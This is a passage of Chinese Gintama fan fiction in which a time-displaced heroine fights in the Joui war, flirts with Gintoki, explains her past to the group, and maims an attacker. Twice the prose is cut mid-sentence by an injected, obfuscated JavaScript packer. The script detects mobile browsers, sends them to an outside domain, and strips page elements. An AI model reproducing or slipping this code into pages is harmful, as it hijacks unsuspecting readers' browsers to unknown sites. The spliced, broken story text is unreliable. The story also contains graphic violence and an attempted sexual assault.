冈田抬头看了我一会,露出一个笑容,方才的冷厉与肃穆褪去。伸出手握着我的,他顺力站起来,透露出几分爽快,“你也不赖,阿萤。要不是你最后反了手,我这手臂就没了。不过,战场上可不能手下留情,不然会让自己陷入险地。” 我望着眼前这个高壮的男子,由衷地感谢道,“知道了。谢谢指教。” 朝一直担心我的明里招招手,慢慢地走向那三个没什么反应的少年,我揉了揉手腕,“你们那是什么眼神?辰马没跟你们说过吗?我是凭实力当副手的。” 银时三人慢慢扭过头,看向一旁哈哈大笑的辰马。 “啊哈哈,啊哈哈哈,好像还真没说过这个,阿月她跟我交过手,她基础和实力都不错,尤其是速度,这段时间我们一直有在对练的。啊,铃好像也败给她了。” “喂,队长,最后那句可以不用说的。”泽木一把捂着他的嘴,尴尬地别过头。输给一个女人对于他来说打击还是挺大的,辰马还要在他偶像们面前说这个。 “啊……方才太用力了,手腕好痛。”我扁嘴看向明里,小姑娘立马心疼地给我揉着,这待遇让我感动得抱着她就蹭,“还是你对我最好~不管了,我还是去医疗队吧,我要跟你一起……” 三双死鱼眼一翻,银时唰地站起来,拍开我的手,对明里道,“别管她了,你去看看冈田吧。” “没错,”桂拎着我的领子,笑着安抚她,“阿萤交给我们吧,放心。” “我也想看看,她现在是什么水平。”高杉冷哼一声,给我一个阴沉的眼神。 “你们是在妒忌吗?我有妹子疼是很奇怪的事吗?”我被他们拖着走,双手伸向站在原地的明里,“不要,我要软乎乎的妹子……” “闭嘴!”桂+高杉+银时。 我错了,我不应该让你们担心,真的。 36.逗人不分年纪 原本下定决心的坦白局被一场临时的战役打乱。 这算是我第一次真切地参与到战争中,做了那么久的心理建设完全没有用上。此刻闭眼,我还能感受到浑浊的空气夹带厚重的血腥味扑鼻而来,火药的硝烟味刺得鼻腔发痛,耳边还能听到四周冲锋陷阵的怒吼和冷兵器交接的刺耳铮鸣,还有那炮弹爆炸的声响。 横七竖八的尸体,长相奇怪的天人,天空上飞着的中小型飞船,球状的物体不停落下,炸起一片片的泥土。还有我自己挥舞着长刀,砍出的一片片血红。 这才是,真正的修罗场。再多的心理准备,在现实面前都不堪一击。 我不是第一次见这种血腥场面,但却是第一次以攘夷志士的身份感受这片战场。尽管我只是在后方砍砍小怪兽,但那种跟死亡相接的恐惧和刺激还是不容我忽视。 只是这样,受过情绪训练的我也难掩波动,那他们呢? 我想起当我跟着桂率领的人撤退时,身后那片天空的巨响,激烈燃烧的一团团炫目的烟火,几艘飞船同时爆炸坠落。而那道白色的身影扎眼地现于焰火中,以无法想象的速度与弹跳力飞跃在空中,如死神降临般震撼。 地上的制服少年冷静地指挥战局,每一次利刃的光芒都带着血色喷洒,极其迅速的配合着空中的战况。 史诗级的科幻大片……也不过如此了。 “阿萤……” 他们三个,到底经历了什么才成为这副战神模样……不对,我该担心的是,接下来他们又经历了什么才会变成我最初看到的那个样子? “阿……阿萤……” 谁叫我? 我回过神,看到鬼兵队的几个人围在一起生火在热着什么东西。其中一人站起来朝我挥了挥手,“阿萤,你发什么呆?今天吓到了吗?” 因为冈田的关系,也因为高杉,鬼兵队的人对我接纳度还挺高的。这个长相粗矿的小哥齐藤性格爽快,行事大咧咧的不太在乎对方性别,跟我也算是熟悉。 “有一点。”我老实地道,“但也还好。” 我的志向虽然没到保家卫国那么伟大,但除暴安良,警恶惩奸本是我的职业操守。虽然这个国家什么的我不在乎,但作为地球人,非我族类其心必异,驱逐天人的攘夷战争我没什么心里负担。过程是血腥了些,可……我所做的一切在道德位上没有偏差。 没有心里压力,自然也不会太害怕。人类很多时候最害怕的都是自己而已。 “第一次上战场的话你已经很棒了,佐田之前还吐了好多次呢。”齐藤坏笑着指了指蹲在一边的少年。 “那TM都是以前了。”佐田冷着脸别过头,“喂,高杉队长他们刚才一直找你,不知道有什么事。” 大概是为了问我之前去了哪的事。 我点点头,想到要解释就头疼,这个要说的话会扯到未来,还会扯到胧。说到未来的话,他们最想问的肯定是松阳最后会怎样,但我不知道啊……扯到胧的话,更麻烦,他跟松阳在我看来就是肯定有关系但我又不知道什么关系…… 这些说出来感觉会被揍,但说谎……不,说谎比扯淡还麻烦,一个谎言要用无数个谎言来完善逻辑和填bug。 “你那表情看着就很累……”齐藤哈哈大笑,把煮着的一小瓶酒拎出来,“是要被队长骂吗?我听他说过你以前老干蠢事哈哈……给你壮壮胆吧,桂先生说你挺能喝的。” “谁干蠢事了……”我无语,明明是他们老干蠢事怎么都赖我。我接过酒瓶,摆摆手去找他们坦白。 桂对外都说我是家人,所以经过试验后大家也对我没太多恶意。有些男人对女人的偷看也在分寸内,我也懒得计较。总体来说,我在这里的日子比在第七师团要舒心多了。 喝了几口,身体暖和起来,原本摇摆不定的情绪也干脆坚定。 哟西,就这样一鼓作气跟他们坦白吧。 狠狠地打了个酒嗝,我脚步一个踉跄。糟糕,这酒后劲大,好像有点喝上头了。 一只温热的大手抓着我手臂,使了点力扶着我站好。 “搞什么啊,今天不够累吗?居然还跑去喝酒?”银时懒洋洋的嗓音带了抹无奈在耳边响起,“你是之前做了太多混事怕等下被我们审吗?” “才不是,别担心,不是我自豪,我的酒量可是我们村塾最好的……” 嗯,有点头晕。没事,据说我酒品好……就是会比平时更爱逗人,但不会乱说话。 “那是因为当时只有你喝酒好吧!”银时受不了地戳了戳我的头。 啊……更疼了。我拍开他的手,步履不稳地往旁边的林子去,桂好像是去了那边,刚好洗把脸醒醒神好坦白。 “没事,”我安抚般拍拍他的肩膀,“智商还在,忽悠你们没问题!” “你要不听听你自己在说什么……”银时烦躁地搔着自己的卷发,认命地扶着我,“站好,别乱跑啊,等下摔倒脑子就更蠢了。” “少啰嗦,我可是成年人……什么时候轮到你来担心我?”一个个年纪轻轻便成为战场杀戮高手,在我的世界,他这个年纪还在中学上课,最大的麻烦是打游戏怎么通关。 这样想着,我忽然有些难过。 “阿银也成年了好吧!”银时不知道我心里的想法,咋呼着抬起手肘按在我头顶,以昭示他比我高。 这年代,成年的年龄也不过16而已。明明还那么小…… “啊?成年了啊?好伤心……我都没给你们办成年派对……也没做红豆饭。”松阳在的话,我们一定可以大闹一场的,例如弄个猛鬼派对什么的。 “谁要那种派对啊!你又把自己想法说出来了死白痴!” 坂田银时叹口气,按在我头上的手揉了揉,“不需要那种东西,都多大的人了……啊不对,你年年25。” “哦,说起来,发情期也到了吧?”我脑子灵光一闪,邪笑着反手勾着他的脖子,“那个……有试过吗?假发跟隔壁居酒屋的姐姐有来过一发吗?辰马说拉过你们去逛花街见识见识的,有喝过花酒吧?嘿嘿~” 掌心下的脖子温度骤然升高了些,银时挣扎了一下,别过头,“你还是回去煮红豆饭吧,拜托了。来一发什么的……到底谁给你说这些啊!” “哎,别小看我啊,姐可是十四岁起就有人date的~”我圈着他肩膀,得意洋洋地昂起下巴,“各式小美男排着队要跟我约会哦。” “昂?”银时不爽地挣开我的手,死鱼眼斜睨过来,“难怪那么能惹风流债,十四岁……经验丰富啊?” 顶着他眯起来的红眸,我毫不在意地挥挥手,眉眼飞扬,想起那些过去不无遗憾。哎,我的青春。 “那当然,成为一个海王是我的隐藏梦想。要不是长官,啊不对,是老爸管的太严,我早就能开一个水族馆了!都不知道他哪来的封建思想,大学不许恋爱,一工作就要相亲结婚,他以为老公只能在他战友的孩子里头选吗?我就是买棵菜也想要去远一点的市场啊!” 大学里头那么多帅气肌肉结实的少年,偏偏只能看不能下手,等毕业了进了单位,以为可以潇洒了。结果窝边草基本都是有主的,相亲那些从小就认识,他们都经历过幼儿园时我穿着裙子把他们打得内裤都扯破的蠢事,怎么撩啊?对望一眼都会喷笑啊! 妈的,还被发小们笑我菜!号不练怎么晋级啊? “所以,你到底在说什么啊?菜就别喝啊混蛋!”坂田银时恨铁不成钢地朝我额头弹了一记,“清醒点。” “谁菜了?”我最听不得这个字眼,“姐撩汉的时候你还在喝奶呢!” 我要真撩,那不过是勾勾手的事,实践已经证明过了,阿伏兔连我粗汉的样子也不嫌弃的。 “是是是,你厉害,说起来阿银今早还真喝完牛奶。”银时咧出坏笑,应付般勾着我肩膀。 “嗷嗷,难怪乳臭未干……”我踮起脚凑近他颈窝深呼吸一下,眼前的耳根以肉眼可见的速度红了起来。坏笑不会消失,只是转移到我脸上,“哎,你耳朵受伤了吗?好红哦~” 他一个趔趄退后两步,背抵在树干上。 玩心大起,轻眯着双眸,我顺手撑在树干上,给了他一个树咚,压低声音轻哄般笑道,“害羞了么?成年人……” 看到那双剔透的红眸微颤,我满意地低笑。 看吧,让你老鄙视我,真以为长了几年就能管着我了吗?哼,我可是比你们都多了快十年人生的大人啊,小子。 “谁,谁害羞啊混蛋!”银时微微炸毛,脸蛋浮现些许红晕,眼神也有点闪烁。 哎,这副样子看着就是经验不足,辰马他是不是误会了什么? “这么嫩怎么撩那些身经百战的花娘啊……”我抬起另一只手挠了挠他下巴,莫名地怀念那时候在长屋躺在地上任我玩弄的坂田银时。 成年版的他比少年版的配合多了(误)。 眸子颤动两下,银时脸上表情一变,忿忿不平地拍开我的手,“谁嫩啊你个乱惹风流债的蠢货,什么身经百战的……阿银警告你啊,这里几乎都是男人,你别乱来给老子惹什么麻烦!高杉那一堆规矩,犯了是要责罚的白痴!” 规矩啊…… 我邪气地勾唇一笑,“老子已经守了二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058839|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十多年规矩了,在这个战场谈什么规矩啊……还是说你吃醋了吗?管我管这么严,怎样,想要我只招惹你么?” 眼前人的整张脸都唰地红温了,看起来好笑得不得了。啧啧,成年又怎样,不就是个高中生而已? 深呼吸,我努力把前半生所有难过的事想了一遍才稳住,冰凉的指尖摸着他滑动的喉结,压低声音御姐般笑道,“是要我只看你一个么?boy~脸这么红,嗯?喜欢我这么说?” 不行,这句话的音调有点颤,要露馅了!我轻垂眼帘,掩去眼底的笑意。 坂田银时比我想象中敏锐,转眼间镇定下来,挑眉淡定地看着我。 那眼神震慑力有点吓人,我当下决定撤退,故意捏着女王音,指尖点了点他的唇,“想要独占我……也不是不行哦,只是……现在的你还不够格呢~” 哎,不逗了不逗了,松阳不在没人给我兜底。我快速收回手,打算溜去洗把脸醒醒酒。 蓦地,腰间一紧,视线有弹指间的旋转。还没反应过来,脊背一痛,后腰被大手按住,坂田银时抬手咚了过来。 那张不搞颜艺时十分俊朗帅气的面容迫近,红眸清晰地倒影着我的样子,属于他的压迫感带着一丝极浅的血腥味扑面而来,让我无端地心下漏了一拍般紧张起来。 “啊哈……”靠,他是想要反击? 许是酒气上头,一阵阵的潮热从背心蔓延,脸蛋更是一阵滚烫,我镇定地挑眉,以不变应万变。 “啊咧啊咧,脸红了哦……”薄唇轻勾,他抬起手指轻划过我的脸颊,“该不会是你早就对我有所企图吧……阿萤。” 这小子很少这么认真地叫我的名字,乍听之下我竟有一丝陌生。 “你猜~”输人不输阵,我回以深奥的微笑,双手抵在他迫近的胸膛。 小样儿……这心跳不也一样剧烈吗?现在就看谁能装,我才不会输! “嗯?幼驯染……玩得挺花的嘛。怎么,我们三个都是你养的鱼吗?”唇角上扬,他仗着身高俯视着我,步步把我逼得贴着树干,偏偏他的手又按着我的腰往他贴。 幼驯染?什,什么鬼……他要不要想想他们小时候什么蠢样? 想起以前跟松阳和高杉整他的事,我有点心虚,视线游移,“什,什么啊,这时代谁还玩这些啊……” 卧槽,怎么我声音有点底气不足? “也不是不可以哦~”压下来的眼神正经得诡异,红眸锁着人的时候给人一种专注而凌厉的错觉,仿佛猛兽瞄准猎物般让人不踏实,“不过啊,阿银的独占欲可是很强的,我的女人只能看着我一个哦……姐*姐*大*人……” 靠,这句姐姐大人也说得太涩了吧……这家伙哪里学这一套?是辰马说的花街学习?我也要去,我也要学! 输人不输阵……胜负欲一起,我也不客气了。不再退后,反正退无可退,我索性靠过去。 没有错过他眸底瞬间闪过的慌乱,我勾唇笑了笑,伸手握着他的下巴,拉到离唇边不过分寸的距离,“可是,银时啊……姐姐我呢,可是立志要当海的女王,而且姐姐喜欢肌肉男,play起来才有手感哦~” 红眸闪过不悦轻眯,下一瞬我有种腾空感,整个人被他抱了起来,抵在树干上。突如其来的滞空错觉让我心跳骤然加快,耳根和脸蛋一片火热,双手慌乱地扶在他肩膀,睁圆了眸子瞪着他。 白袍下的肌肉结实地压着手心,透出一股力量感。 犯规!这小子给我玩偷袭? “切,这点程度就慌了?到底是谁生嫩啊?就你还想要海洋……”他像是看破什么般,眼神带着戏谑,仰起头看着我。 What?他是在嘲笑我只有嘴炮比人强吗? 不行,Queen不能低头,皇冠会掉!我们家的女人不能输! 我呵了一声,手从他肩膀往上捧着他的脸,“我们女人啊,就算经常穿同一双鞋,柜子里头也还是会摆着不同类型的鞋子,在外面看到好看的也还是会忍不住买回家摆着。” “什么意思?”莫名其妙的鞋子论让银时的眼神瞬间转为死鱼眼,望着我眨了眨。 “意思就是……这个!”按着他的脸,我狠狠地给了他一个头槌,在他吃痛松开我之际撑着他的脸发力跳起,把他干脆地踩进地里,只露出一个银白色的天然卷头。 蹲在他面前,我朝他额心弹了一记,笑眯眯地说,“早说了呀,现在的你还不够格呢~” “……混蛋……这脑袋假发都得输……” 坂田银时不满的咕哝被我甩在身后。 哎~果然还是小孩子,哼~ 37.迟来的坦白局 走到河边的时候,桂正坐在那低着头清洗自己的脸和沾了血的发尾。 我过去淘了些水抬手拍了拍脸,酒气下去了才低头看着水面上的倒影。 披肩的黑发扎成马尾,绑着额带,五官精致清丽,尤其一双琥珀色的眸子圆润灵动,脸蛋还带着一丝红晕,是个无论在什么时代都非常漂亮的姑娘。 我满意地点点头,视线移到隔壁。 一头如瀑的黑发披散,面容俊美温润,那双大眼正气清明,在战场上染上杀气会凌厉如鬼魅,身形纤瘦却不单薄,唇边带着笑意,是个如春风般干爽的美人,不辨雌雄的那种。 愣愣地把目光从水面移到真人,现在的桂真的漂亮得令人侧目,让我女性的自尊心有那么一点点的受伤。 不,我不会输的,我还是很漂亮,而且我不会老!我坚定地拍拍自己的脸。 桂偏头看过来一脸疑惑,我忽然感叹,“假发啊,真的长成了如花般的美男子。” “不是假发,是桂。”桂无奈地拿起发带把头发拢到一边扎起来,“身为攘夷志士怎么能像花这般软弱的东西?真要说的话,也应该是参天大树。” 参天大树么……听起来确实不错。如果论救国大义和意志坚定的话,桂确实如同参天大树般,立志撑起未来江户的天空。 可是看着那张正义凛然的脸,我单纯是很八卦地好奇,反正对着桂也没什么不能说的。于是我摸着下巴,诡笑着凑过去,“所以假发,你跟居酒屋的姐姐有那个吗?” 像是触发了什么奇怪的按钮般,桂的表情顿时正经起来,连语速都连珠似炮般,“怎么可能,阿萤你怎么会问这些问题?肯定是那两个不知羞耻的混蛋还有辰马那个夜店狂教坏你了!” “昂?这是没有后续吗?她们居然没有得手?”我微微惊讶,这些年下来都没一个人成功过?那几个姐姐看起来就没什么道德啊,有一个还曾暗示我要不要玩些高端成人游戏什么的。 “开什么玩笑,我怎么可能会把OO放进她们的XX里头,或者是把我的XX放进她们的OO……”桂双手扣着我的肩膀,十分严肃地喷道,“阿萤,你不可以被他们污染,他们的脑子里头装的都是垃圾,柴田就是这样欺骗松子姑娘的,还妄图以小小礼品就得到松子姑娘家人的认可!阿萤,在拯救这个国家之前,我们不能如此堕落啊!” “不……柴田跟松子又是谁啊?你到底想到了什么奇怪的东西,OO和XX是可以调换的吗?”我完全跟不上他的脑洞,“莫非就跟百合花可以开满大地一样,你也打算开其他花吗?在身体上……” 桂抓着我使劲摇了摇,义正辞严,“身为武士,我们绝不能任由思想堕落!开花什么的,可恶,居然敢污染你,就算是他们也不能放过,切腹吧!就由我桂小太郎给他们介错!” “武士跟这个有什么关系啊?怎么忽然就要切腹了?”酒气刚过,我被他摇得头昏脑涨,“难道这就是普通人的我和神童之间的差距吗?” “才不是——” 两个吼声忽然传来,紧接着,两个身影滑铲过来,我和桂毫无反抗之力地被踢进河里。 我冒出头,看到高杉冷冷地吹了吹拳头,“阿萤,别听这个白痴胡扯。” 桂抱着头泡在水里,看起来委屈极了。 “烦死了,谁胡扯还不一定啊高杉。”银时拎着我的马尾把我拎起来,“这家伙的脑子都不知道被谁给污染了,以前喜欢肌肉男就算了,现在都想把魔爪伸向妹子和阿银啊,还海洋……你个三心两意的混蛋。” “不不不,你误会了,我只是想给所有美好的人一个家。”我努力抢救我的头发,现在它们被生长女神抛弃了,每一根都很宝贵。 高杉嫌弃地拉起桂,闻言瞪了我一眼,“好好说话!” “滚吧你,你自己都没有家的说。”坂田银时鄙视的眼神如利刃般直插过来。 “喂,银时!”高杉+桂,脸色少见的薄责,被骂的银时顿时一僵,低下头不语。 我甩过马尾,嘚瑟地指着他,“少瞧不起人,就算是在这个世界我也是有家的!就在XX村的松下村塾,现在施工中以后会重建的。” 三人不约而同一愣,随即噗嗤地笑了起来。 “啊,还有,”我想了想,抬头灿笑道,“十多年后江户歌舞伎町2XX号!虽然是租的,但我要的话买下来也可以,跟你这个万年欠租的穷鬼天然卷不一样~” 被我指着的银时疑惑地眨眨眼,伸手探向我额头,“你酒醒了没?怎么胡说八道起来?” 我翻着死鱼眼打开他的手,他反应极快地缩手,我一下拍在他胸膛上。坂田银时一副被我占了便宜般双手抱胸,看我的眼神活像我是什么登徒子。 “你看,你就是在肖想阿银的胸肌!” “够了,请停止你无聊的脑补。”我懒得理会他,拧着发转头对高杉道,“晋晋,你是想要问我之前的事吗?” “啊哈哈,啊哈哈哈,你们还没闹完吗?不是说要问阿月之前去了哪里的事吗?” 人未到那大嗓门的笑声先闻,坂本辰马从树丛钻出来,笑容灿烂地走过来。 “啊,正要问呢。”高杉把我拎了过去。 情景转换,四人盘腿坐在我对面,让我有种当年群面的错觉,特别是他们认真时的气势比面试官更有压迫感。啊,我是说忽略边上那个笑得傻乎乎的男人。 “阿萤,这几年你去了哪里?”桂抱手环胸,眼神认真,“老师说你回家了,但很明显不是。” 该怎么说呢……要是全部说,我要解释时空跳跃的事,要是说未来,他们肯定要问松阳的事,但我真的不知道…… 我敛了笑容,把怀表丢给高杉,认真地看着他们,“时间在我身上停止了,我的身体状态好像一直停在遇到你们的那一年,就跟钟表停止走动一样。然后我被一个人追杀,应该是那晚偷袭我们的人,但看来那个人不知道出于什么原因又把我救了……不,也不一定,可能他知道我还没死,反正我就被他关在像休眠仓那种仪器里头,直到辰马找到我。在这期间……我好像在其他地方以另一个人的身体度过了不到两年的时间。” 其实我挺庆幸时间在我身上停止的,没有生长,也没有那些女性不方便的每月一次。不然,在这个战场上我肯定呆不下来。 “不到两年?”银时注意力从怀表转到我,“喂喂,这可不止吧……” 我知道,松阳被捕都不止一年。只是…… “不,对我来说,就是这么久……没听说过吗,女人的一年等于男人的五年嘛。”我摊手,不负责地道。 “那你这一年多去了哪里?”坂本辰马不纠结这个,转而问道。 去了哪里?我一时间悲从中来,想起那段经历眼泪都快出来了…… 不行,Queen never cry! “阿,阿萤?” 我拳头一握,忿忿地道,“去个一个小兔崽子当妈了!” 没错,还是那种煮饭+陪练的超人男老妈!那小子还不领情,我死的时候他还杀得正兴起。 “昂?你……你去生孩子了?”银时颤抖着手指我,他这话一出,高杉和桂也神情紧张地看过来。 “生个毛线啊!人生要悲催到什么地步才会生那种兔崽子?”啊不对,这话有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061324|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贬低江华了。但……我真心觉得,生那离家出走不体谅母亲和妹妹的笨蛋,还不如生块叉烧。 “而且,我是个男人,顶着那副丑死了的外表,压根儿泡不到妹子,还生什么生!” 我都憋死了,笑一笑都吓得小神乐哭泣,我人生就没这么挫过! “你们那是什么眼神?我那时候比你们还要威武雄壮啊,连那里都不是小兵!果然……只有阿伏兔不嫌弃我……”现在想想,他也不容易,我决定以后不会歧视夜兔了。 “不,阿伏兔又是什么东西?”高杉努力跟上我跳跃的思维。 “不重要!妈的,那小子天天缠着我打架突破极限不说,居然还嫌我做的拉面不如米饭,他就不懂美食……山猪吃不了细糠,他就一辈子吃白米饭去吧!在那里每天都要打架,还会有失控的风险,顶头上司又是个战斗狂人……我一个和平主义者过得多憋屈啊!”我完全无视他们的诡异眼神,把之前在春雨里头受的憋屈都倾泻。 对面的四人人均死鱼眼,嘴角微抽,很想插话但又不知道说什么的样子。 “喂喂,你们有人能翻译一下吗?这混蛋在说什么啊?”坂田银时挖了挖耳朵,死鱼眼没精打采地眨了眨。 “简单地说,就是阿萤的身体被封住,然后她的意识去了其他星球,变成男人跟一个兔崽子和那个叫阿伏兔一起度过了一年多的打架时间。直到辰马发现她,叫醒了她。”桂不愧是脑洞最大的人,完全get到我的意思。 我敬佩的眼神还没来得及看过去,就听到坂本辰马反驳道,“不不不,应该是阿月的身体被封住了,然后做了一场梦,直到我发现了她,叫醒了她。” 好吧,脑洞更大的另有其人。 “不不不,她是被人结印了,然后辰马使出螺旋丸打破封印就醒了她。”坂田银时以拳击掌,一脸顿悟。 我无语极了,“老子还一个秽土转生复活砍死你。” “啊,你倒是复活了,怎么,当火X了没?”那双绯红的眸子斜睨过来。 “够了,你们是打算转场去隔壁当火X了吗?”桂一本正经地驳斥,“大业未成,怎可以轻易放弃这个国家?” “这是重点吗假发!” “不是假发,是桂!” “不,”我无视掉桂的话,非常认真地跟银时道,“我出海了,去征服星辰大海,想要当海X王。” 宇宙海盗是当上了,可惜没来得及升职就挂掉。 “你赢了……”银时捂脸低头。 高杉一直低头研究着手中的怀表,懒得看我们胡闹。直到我们耍够了,词穷地安静下来,他才抬眸看向我,“你的时间停止跟它有关?” “目前只能认为这样。再找不到方法,我要是不被人杀掉的话,大概能不老不死。”我摊手,按情况是这样,但十年后的我才来到这个世界,所以一定在哪里会形成一个闭环,除非未来被我改变。 “我们鬼兵队里头有一个队员精通机械,你不介意的话,这个交给我,我让他帮忙看看。” “这样的话,之前石川城那位良子小姐好像也对这些有研究,或许也可以问问。”坂本辰马也摸着下巴估摸着。 靠谱的果然还是这两个人! “真的吗?太好了~”我惊喜地摆摆手,“拿去吧,其实我也不知道这个是什么鬼,是两个奇怪的天人塞给我的。” “所以你到底都经历了些什么啊?” 我回了一个一言难尽的笑容。 这算什么?如果说起在吉原死了几回,说我第一次见他们是在十年以后,说我从未来跳跃到这里…… 我敢说,你们敢信吗? 38.做不到的承诺 平静的日子没过多久,又是一场偷袭。这一次不同于之前,敌人密密麻麻地疯涌而来,所有人包括后勤和医疗都上场杀敌了。 我的编制还留在辰马的队伍,尽管没有冲在前线,只是在后方杀杀经过高杉他们四人虐杀一遍的漏网之鱼,那数量依然非常可观。 等到跟泽木两人相互搭着肩头踩着湿漉漉的大地往后撤的时候,我已杀人杀得头晕,随便选了个角落便抱着刀发呆。 我的刀还是高杉专门从战利品里头挑的,我取名小美。这个名字被高杉嫌弃掉价,但我觉得挺顺口的。小美像贴身保镖,在战场上救我无数次了。 “阿萤?” 不知道过了多久,桂的嗓音传来,随即头上一暖,他的手放在我头顶揉了揉。 “假发……”我抬头,他也是一身血,身上包扎着绷带,神情严肃,“你没事吧?” “不是假发,是桂。我没事,只是我们要准备撤离了,这个据点不能再留。”他顿了一下,带了点歉意地低声道。 换据点?我怔了一下,脑子有些转不过来,不过想想也合理,随着大小偷袭这里已经不安全,早几天高杉就有这样的想法。 我撑着刀站起来,有点茫然,“哦,好……那,我要做些什么吗?” 问得有点傻,我没试过转移阵地……不过,凡事都有第一次嘛。这样想着,我精神了些。 “收拾一下你自己的东西,然后跟大家一起撤离就可以了。”桂见我脸上有了笑容,神色也轻松了些。 “那,垃圾袋要准备吗?零食呢?能带吗?”我拍拍脸颊,问得很认真。 桂微愣,眸中带了笑意,然后摸着下巴想了想,也很严肃地叮咛,“因为怕还有偷袭,我们要相互给同伴掩护,一切服从指挥,不要在路边打闹,要注意交通安全。另外,不要携带多余的东西,贵重物品打包藏好,钱包不能放超过于100元的东西,还要自备零食和垃圾袋,不能留下垃圾破坏环境……” 我噗嗤一下笑弯了腰,连连点头,“知道了,一定听指挥,绝不污染环境。” “你们以为是小学生郊游吗?要不要带个画本记录植物的样子和写日记?”高杉无奈又不悦的声音传来,“难怪他们都说不要让你跟阿萤凑一起,你俩凑一起脑子就光速坏掉。” 那身制服上全是血迹,连额带也染红了一半,高杉边缠着手上的绷带边走过来。我顺手接过他的绷带,给他包扎好。 高杉低头看了眼那个曾被他吐槽过的蝴蝶结,轻声哼笑,打量了我一眼后才跟桂交代,“我和银时带队殿后,你和辰马的队伍先撤,医疗队那边也会跟着一起,别大意。” 顿了一下,他偏头看过来,从口袋拿出一瓶养乐多丢给我,“阿萤你别磨蹭,快去收拾。” “谢谢晋晋~”我眼一亮,拿着养乐多欢乐地跑了。 高杉和桂同时叹气。 这两个傻子,我当然知道战场瞬息变化,生死一念之间。只是,他们此刻的人生太暗了,我不希望在他们的记忆里,连我也是被他们拖累染黑。 妈妈说过,无论怎样的环境,都要有笑容,因为老天都不会打击爱笑的孩子。 撤离的路上也少不了枪林弹雨,刀光剑影,尽管有同伴掩护,仍有不少伤亡。 好不容易停下来的时候,夜色已深了。 “对不起……都怪我……”明里低着头给我包扎,眼泪一滴滴落在破旧的地板上。 我们如今所在的位置是一座废弃的府邸,应该是某个武士家族的本家,占地不少,但随着战乱丢空了很多年的样子。 到来之前,我们小队不走运碰上为数不少的敌人,由于医疗队属于战五渣,后面的人还没赶来,我们差点全折在那。 我带着黑子他们第一次当了前锋,杀得眼都红了,明里为了护着医疗物资被盯上,我为了救她肩膀被砍了一刀……第一次真切感受到受伤的痛,装英雄失败,最后救美的是黑子和泽木。 “别哭了明里,乖……姐姐现在痛得想死,你要是真心疼我,可以帮忙赶紧弄吗?”我忍着眼泪回头笑了笑。 妈的,这都不知道是怎么回事的时间停止,明明身体的改变停滞,但受了伤还是会痛,会流血。因为不确定身体血液是否能再造,我一直很小心不让自己受伤。 只是……战场上哪有小心就没事的道理? 闻言,明里连忙收了眼泪,加快手脚,“阿萤姐,黑子君说了,今晚应该安全了,你先休息吧……我明天给你做好吃的。” 我感激地点点头。说实话,连番折腾下来,我真的累极了。 “对了,银时他们呢?”我们到来好一会,还没看到他们,人心都有点浮躁。我作为副手可以联合黑子他们管理第四分队,但其他人……关键时刻,还是需要那几个在镇场子。 不得不说,无论平日多随和,平易近人,joy4本质都有那种很明显的大将魅力,队伍里头所有人都由衷地折服。 “晋助和银时带队殿后,不会那么快的……坂本队长去处理路上的补给,大概要最后才到。小太郎的话,应该在路上了,别担心,他从来都不会轻易让自己陷入困境,最会逃命了,一定很快能带着队伍跟我们会合。”明里对自己的同学还是比较了解,提起他们也有了笑容。 “那就好……不行了,我先休息一下。”手臂上了点珍贵的麻药,我感激地抱抱明里,简单收拾一下便睡下。 非常时期,信任的人都不在,我睡得不太安稳,连明里拉门的声响都听得分明,只是眼皮沉重打不开。 不知道睡了多久,一种陌生的气息逼近,原本就睡不安稳朦朦胧胧的意识瞬间回笼,我猛地张开眼。 窸窣的声响极细微,一只粗糙的手猛地捂上我半张脸,一个黑影朝我压了下来,衣服被拉扯着。 怒气顿时爆发,我狠狠翻了个白眼,薄被下握在手中的小美狠狠往上捅去!选择在这种时刻对我下手,真以为我受伤就无力反抗吗? “呐,夜袭的话,姐姐我喜欢肌肉男或者鲜嫩小鲜肉……你这种小兵,只会让人倒进胃口!” 凄厉的惨叫顿时响彻整个天空,偷袭的人被我从房间直接踢出去,力度之大一直滚到庭院中央。 门外陆续赶来一些提着灯的人,高杉等人的身影也急匆匆而来,他们应该是刚赶到这里了。 我披散着头发,衣襟有些凌乱,一步一步走出房门,手中的小美刀身上的血慢慢滴落。那个陌生的男人捂着裤/裆痛得躺在地上打滚,裤子尽是血迹斑斑。 “阿,阿萤……”桂看了一眼立马脸色大变,杀意凌厉地看向那人。 “啊……烦死了,最讨厌晚上被吵醒了。发情期的夜猫乱叫什么呢……阉掉就安静了呀~”我没有看向他们,半阖着眼俯视着惊骇得整张脸扭曲着恐惧和后悔的男人,咧出残虐的笑容,“没人跟你说,要进一个女士的房间需要获得她的许可吗?怎么办呢……蛋蛋都碎了,那剩下的东西要不也切了吧……就当本大人造福这个世间的姑娘们了……反正也不是什么有用的玩意。” 三个组成部分被我废了两个,剩下的也摇摇欲坠了。弄残这种人渣对于曾专打这类罪恶的我来说,毫无压力。 握着刀高高举起,我面无表情地冷冷看着那人,不带杀意却冰冷如看一个死人,那种杀戮的躁动翻涌。 “阿萤。” 蓦地,一只大手握着我手腕,阻止了我挥刀的动作。 熟悉的气息无声靠近我身后,我没有回头,视线依然落在那个看到来人后脸色更加惨白的男人身上。 男人不断挣扎着,爬了一条血路,啊啊地叫,可惜说不出一个字,眼神是全然的恐惧与濒死前的挣扎。 